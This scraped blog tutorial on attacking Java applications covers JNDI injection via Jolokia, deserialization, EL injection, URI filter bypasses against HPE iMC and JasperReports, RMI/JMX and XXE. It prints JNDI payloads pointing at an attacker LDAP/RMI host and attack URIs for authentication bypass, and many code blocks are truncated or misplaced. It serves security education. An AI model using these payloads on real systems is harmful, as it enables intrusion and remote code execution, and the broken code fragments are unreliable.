Attacking Java Application 1716034208
Attacking Java Application 1716034208
COM
Attacking Java
· May 6, 2024 · 26 min read
Table of contents
Spring Boot Actuators Jolokia reloadByURL JNDI Injection
Understanding the Vulnerability
Triggering the Vulnerability
Static Vulnerability Analysis
Decompiling logback-classic
Decompiling logback-core
Technical Explanation:
Remote Class Loading
Vulnerable Code Analysis:
Exploitation:
Deserialization of Untrusted Data
Understanding Java Deserialization:
Serialization Process:
Deserialization Process:
Example Vulnerability:
Exploitation Tools:
JNDI Exploitation using Deserialization:
Setting Up Exploitation:
Java URI Filter Bypasses and Remote Code Execution
Key Learning Objectives:
Getting Started:
Expression Language Injection (EL Injection):
Case Study - HPE iMC smsRulesDownload EL Injection RCE:
Exercises:
URI Filter Authentication Bypasses:
Non-Compliant Code:
Compliant Code:
startsWith Directory Traversal
Attack PoC
endsWith Path Parameter Injection
Attack Scenario
Attack URI
Request Forwarding Authentication Bypasses
Case Study
Arbitrary Forwards in JasperReports Server
Deserialization of Untrusted Data 102
Finding the equals pivot / trampoline:
Object Validation
java rmi
Implementation Mechanism:
RMI Process:
Interface Definition:
Implementation Class:
Server Implementation:
Client Implementation:
jmx security issues
MBean Writing and Control:
Remote MBean Registration:
java dynamic proxy
Static Proxy:
Dynamic Proxy:
Cglib Proxy:
java reflection mechanism
Basic Concepts:
Implementation Steps:
Example:
Explanation:
Use cases of common libraries for XML parsing in XXE
XXE-DocumentBuilder
References
Show less
The attacker sends a crafted HTTP request to the reloadByURL endpoint, specifying a
URL controlled by them. The request payload includes XML content intended to be
loaded by the vulnerable application. This XML content contains a JNDI injection
payload, aiming to manipulate the application's environment.
In a Spring Boot application, Actuators provide helpful endpoints for monitoring and
managing the application. One such endpoint is Jolokia, which allows accessing JMX
beans over HTTP. However, if not secured properly, attackers can exploit this
functionality. Let's see how:
COPY
InputStream in = null;
try {
// Opening a connection to the URL
URLConnection urlConnection = url.openConnection();
Here, the reloadByURL method blindly accepts a URL and loads configuration from it
without proper validation. An attacker can exploit this by sending a malicious URL that
contains harmful configuration data.
In the vulnerable Java version (e.g., Java 8u60), the NamingManager class played a
crucial role in loading classes from remote sources like LDAP or RMI. Here's a snippet
of important code from the NamingManager class:
COPY
Exploitation:
To exploit this vulnerability, attackers could use tools like marshalsec developed by
Moritz Bechler. marshalsec includes payloads for various Java marshallers that rely on
JNDI injection for remote exploitation. Here's how it was done:
1. Setup logback.xml: Craft a logback.xml file with the following configuration to
trigger JNDI injection:
COPY
<configuration>
<insertFromJNDI env-entry-name="ldap://[attacker.tld]:1389/jndi"
as="appName" />
</configuration>
2. Run HTTP Server: Host a malicious HTTP server (e.g., using Python's
http.server ) to serve the exploit payload.
When the vulnerable application makes a lookup, the malicious LDAP server redirects
it to the attacker-controlled HTTP server to load a malicious class.
Java serialization involves converting an object into a byte sequence, which can be
stored or transmitted. Deserialization, on the other hand, reconstructs the object from
the byte sequence back into the Java Runtime Environment (JRE). Serialization and
deserialization are facilitated by the java.io .Serializable interface and its magic
methods writeObject() and readObject() .
Serialization Process:
COPY
import java.io.*;
class SerializeTest {
public static void main(String[] args) {
try{
Studentinfo si = new Studentinfo("Steven", 1234, "+61 55
6866 4179");
FileOutputStream fos = new
FileOutputStream("student.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(si);
oos.close();
fos.close();
} catch (Exception e){
e.printStackTrace();
}
}
}
Deserialization Process:
COPY
import java.io.*;
class DeserializeTest {
public static void main(String[] args) {
Studentinfo si = null;
try {
FileInputStream fis = new FileInputStream("student.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
si = (Studentinfo)ois.readObject();
} catch (Exception e) {
e.printStackTrace();
}
System.out.println(si.name);
System.out.println(si.sid);
System.out.println(si.contact);
}
}
Example Vulnerability:
Tools like Ysoserial generate gadget chains in popular Java libraries for exploitation.
For example:
COPY
<configuration>
<insertFromJNDI env-entry-name="rmi://[attacker.tld]:1099/jndi"
as="appName"/>
</configuration>
Setting Up Exploitation:
We'll examine a vulnerability in HPE iMC software where EL injection leads to remote
code execution. The vulnerable code snippet takes a parameter ( beanName ) and
directly parses it into the getValueExpressionObject method, leading to RCE.
Exercises:
Understanding URI parsing and filter chains in web applications is crucial. Exploiting
weaknesses in URI parsers can lead to authentication bypasses and other security
vulnerabilities.
Non-Compliant Code:
COPY
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.faces.context.FacesContext;
import javax.el.ValueExpression;
import javax.el.ExpressionFactory;
httpResponse.sendError(HttpServletResponse.SC_UNAUTHORIZED,
"Unauthorized access");
return;
}
Compliant Code:
COPY
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
httpResponse.sendError(HttpServletResponse.SC_UNAUTHORIZED,
"Unauthorized access");
return;
}
COPY
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.web.context.WebApplicationContext;
import
org.springframework.web.context.support.WebApplicationContextUtils;
import org.springframework.context.ApplicationContext;
import com.h3c.imc.resmgr.service.QueryMemResMgr;
import org.apache.commons.lang.StringUtils;
import java.io.IOException;
WebApplicationContext wac =
WebApplicationContextUtils.getRequiredWebApplicationContext(this.conte
xt);
ApplicationContext ac = wac.getParent();
QueryMemResMgr resQueryMgr = (QueryMemResMgr)
ac.getBean("resQueryMemResMgr");
String customLoginPageMapURL =
resQueryMgr.getCustomLoginPageMapURL();
if (StringUtils.startsWith(uri, "/imc/primepush/")) { // 2
chain.doFilter(request, response); // 3
return;
}
// Additional code for handling other URLs
}
Attack PoC
COPY
https://target.tld:8443/imc/primepush/../html5topo/legend.xhtml
COPY
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.lang.StringUtils;
import java.io.IOException;
String u = uri.toLowerCase(); // 2
if (u.contains(";jsessionid")) {
u = StringUtils.substringBeforeLast(u, ";jsessionid");
}
if (u.endsWith(".gif") || u.endsWith(".png") ||
u.endsWith(".css") ||
u.endsWith(".js") || u.endsWith(".jpg") ||
u.endsWith(".jpeg") ||
u.endsWith("bmp") || u.indexOf("/platflexmessagebroker/")
!= -1 ||
u.endsWith(".jar") || u.endsWith(".class") ||
u.endsWith(".jnlp") ||
u.endsWith(".wav")) { // 3
chain.doFilter(request, response); // 4
return;
}
Attack Scenario
An attacker can exploit the vulnerability by manipulating the URI to bypass the filter
and reach the doFilter chain.
Attack URI
COPY
https://target.tld:8443/imc/html5topo/legend.xhtml;.js?bean=
Explanation:
The attacker appends ;.js to the URI, followed by a query parameter ?bean= .
The semi-colon ; acts as a delimiter, causing everything after it to be considered
as a separate path parameter.
As a result, the .js extension is not included in the URI that's checked against
the allowed extensions in the filter.
Consequently, the request is allowed to pass through the filter chain, potentially
bypassing security checks and accessing unauthorized resources.
To mitigate this vulnerability, the application should properly validate and sanitize
user input, especially input used to construct URIs. Additionally, the filter logic should
be updated to account for such manipulation and prevent bypassing security
measures.
COPY
import javax.servlet.*;
import javax.servlet.http.*;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
if (req.getParameterMap() != null) {
req.setAttribute("forwardedParameters",
req.getParameterMap());
}
req.getRequestDispatcher(newResourcePath).forward(req, resp);
// 3
}
}
Case Study
http://target.tld/jasperserver-pro/runtime/<somevalue>/rest_v2/users .
1. java.io.ObjectInputStream.readObject()
This method reads an object from the input stream.
2. java.util.HashSet.readObject()
HashSet extends AbstractSet and implements Set interface in Java.
Object Validation
Instantiating ValidatingObjectInputStream:
COPY
ValidatingObjectInputStream is = new
ValidatingObjectInputStream(req.getInputStream());
is.accept(classTypes);
java rmi
The Remote Method Invocation (RMI) facilitates remote method invocation in Java
applications. Let's break down the implementation mechanism and provide code
examples:
Implementation Mechanism:
1. Registry Setup:
The Registry starts and listens on a port (usually 1099).
2. Server Registration:
The Server registers remote objects with the Registry.
3. Client Interaction:
The Client obtains the proxy of the remote object from the Registry.
The Client calls the remote method through this proxy.
The Server executes the method and returns the results to the Client.
Interface Definition:
COPY
package model;
import java.rmi.Remote;
import java.rmi.RemoteException;
Implementation Class:
COPY
package model.impl;
import model.Hello;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
@Override
public String welcome(String name) throws RemoteException {
return "Hello, " + name;
}
}
Server Implementation:
COPY
package server;
import model.Hello;
import model.impl.HelloImpl;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
Client Implementation:
COPY
package client;
import model.Hello;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
COPY
import javax.management.DynamicMBean;
MBean Implementation:
Implement the MBean interface by creating a class without the "MBean" suffix.
COPY
import javax.management.DynamicMBean;
public GirlFriend(){
this.name = "Angel";
}
@Override
public void setName(String name) {
this.name = name;
}
@Override
public String getName() {
return this.name;
}
@Override
public void sayHello() {
System.out.println("Hello sweet, I am yours");
}
}
import javax.management.*;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
import javax.management.remote.JMXServiceURL;
import java.io.IOException;
import java.lang.management.ManagementFactory;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws
MalformedObjectNameException, NotCompliantMBeanException,
InstanceAlreadyExistsException, MBeanRegistrationException,
IOException {
MBeanServer mBeanServer =
ManagementFactory.getPlatformMBeanServer();
System.out.println("Register bean...");
// Instantiate an MBean
GirlFriendMBean girlFriend = new GirlFriend();
ObjectName objectName = new
ObjectName("JMXGirl:name=girlFriend");
// Bind to MBeanServer
mBeanServer.registerMBean(girlFriend, objectName);
// Create an RMI registry
Registry registry = LocateRegistry.createRegistry(1099);
// Construct JMXServiceURL
JMXServiceURL jmxServiceURL = new
JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");
// Create JMXConnectorServer
JMXConnectorServer jmxConnectorServer =
JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null,
mBeanServer);
jmxConnectorServer.start();
System.out.println("JMXConnectorServer is ready...");
}
}
1. Client Interaction:
Use tools like JConsole to connect to the JMX server and interact with the
registered MBean remotely.
Remote MBean Registration:
Server Implementation:
Register a remote MBean on the server that can execute system commands
remotely.
COPY
Static Proxy:
1. Interface Definition:
COPY
2. Implementing Class:
COPY
@Override
public void sayName() {
System.out.println(" 我是他的代理");
this.target.sayName();
}
}
4. Testing:
COPY
Dynamic Proxy:
1. Proxy Factory:
COPY
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
2. Testing:
COPY
userProxy2.sayName();
}
}
Cglib Proxy:
1. Proxy Factory:
COPY
import net.sf.cglib.proxy.Enhancer;
import net.sf.cglib.proxy.MethodInterceptor;
import net.sf.cglib.proxy.MethodProxy;
import java.lang.reflect.Method;
2. Testing:
COPY
System.out.println(userProxy3.getClass());
userProxy3.sayName();
}
}
The Java reflection mechanism enables the dynamic retrieval and invocation of class
properties and methods during runtime.
Implementation Steps:
1. Get Class Instance: Obtain the Class instance corresponding to the object.
2. Get Method: Retrieve the desired method using the Class instance.
3. Invoke Method: Call the method with the required parameters.
Example:
Let's demonstrate how to call the setName() method of a User class using reflection.
COPY
class User {
private String name;
private int age;
Explanation:
1. Obtaining Class Instance: You can get the Class instance in three ways: using
Class.forName() , accessing the class property, or calling getClass() on an
object.
2. Getting Method: The getMethod() method of the Class class retrieves the
specified method.
3. Invoking Method: The invoke() method of the Method class is used to call the
method, where the first argument is the object on which to invoke the method,
and the second argument is the method parameters.
The SAXParser object's parse method is invoked with the XML file and the
custom SaxHandler instance.
2. Example using org.dom4j.io.SAXReader:
This example demonstrates how to use the org.dom4j.io .SAXReader class
from the dom4j library to parse an XML file.
It creates a SAXReader instance and reads the XML file into a Document object.
It then accesses the root element of the document and iterates over its child
elements, printing their names and text content.
3. Example using org.jdom2.input.SAXBuilder:
This example demonstrates how to use the org.jdom2.input.SAXBuilder class
from the JDOM library to parse an XML file.
It creates a SAXBuilder instance and uses it to build a Document object from
the XML file.
It accesses the root element of the document and iterates over its child
elements, printing their names and text content.
These examples illustrate different approaches to XML parsing in Java using various
libraries (SAXParser, dom4j, and JDOM). Each approach has its own advantages and
use cases, and developers can choose the one that best fits their requirements.
COPY
import org.xml.sax.SAXException;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import java.io.File;
import java.io.IOException;
import org.xml.sax.Attributes;
import org.xml.sax.SAXException;
import org.xml.sax.helpers.DefaultHandler;
@Override
public void endDocument() throws SAXException {
super.endDocument();
}
@Override
public void startElement(String uri, String localName, String
qName, Attributes attributes) throws SAXException {
super.startElement(uri, localName, qName, attributes);
}
@Override
public void endElement(String uri, String localName, String qName)
throws SAXException {
super.endElement(uri, localName, qName);
}
@Override
public void characters(char[] ch, int start, int length) throws
SAXException {
String content = new String(ch, start, length);
System.out.println(content);
super.characters(ch, start, length);
}
}
COPY
import org.dom4j.Document;
import org.dom4j.DocumentException;
import org.dom4j.Element;
import org.dom4j.io.SAXReader;
import java.io.File;
import java.util.List;
COPY
import org.jdom2.Document;
import org.jdom2.Element;
import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;
import java.io.File;
import java.io.IOException;
import java.util.List;
XXE-DocumentBuilder
The provided code examples illustrate XML External Entity (XXE) vulnerabilities in
Java applications and demonstrate how to exploit and defend against them using the
javax.xml.parsers.DocumentBuilder class.
1. Basic usage of DocumentBuilder:
This example shows how to use the DocumentBuilder class to parse an XML
file.
It first creates a DocumentBuilderFactory instance and obtains a
DocumentBuilder object from it.
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Document;
factory.setFeature("http://apache.org/xml/features/disallow-doctype-
decl", true);
This code demonstrates a simple XML parsing scenario using Java's DocumentBuilder
class while defending against XXE vulnerabilities:
1. Step 1: Create a DocumentBuilderFactory instance.
2. Step 2: Set the security feature to disallow external entity declarations to prevent
XXE attacks.
3. Step 3: Obtain a DocumentBuilder instance from the factory.
4. Step 4: Parse the XML file ( payload.xml in this example).
5. Step 5: Access and process the XML document as needed (not shown in this
simplified example).
By setting the feature to disallow external entity declarations, the code defends
against XXE attacks by preventing the parser from resolving external entities, thereby
enhancing the security of the XML parsing process.
References
Source Incite
CASE.Java
https://github.com/Maskhe/javasec/
Subscribe to our newsletter
Read articles from DevSecOpsGuides directly
inside your inbox. Subscribe to the newsletter,
and don't miss out.
Enter your email address SUBSCRIBE
Written by
Reza Rashidi Follow
Published on
DevSecOpsGuides Follow
MORE ARTICLES
Reza Rashidi Reza Rashidi
Attacking PHP Attacking NodeJS
In modern PHP applications, attackers Application
exploit
Rezavarious vulnerabilities to
Rashidi When it comes to securing Node.js
compromise systems, steal d… applications, understanding potential
attack vectors is paramount.…
Attacking Kubernetes
In the ever-evolving landscape of
cybersecurity, Kubernetes has emerged
as a dominant force in manag…
©2024 DevSecOpsGuides
Archive · Privacy policy · Terms
Write on Hashnode
Powered by Hashnode - Home for tech writers and readers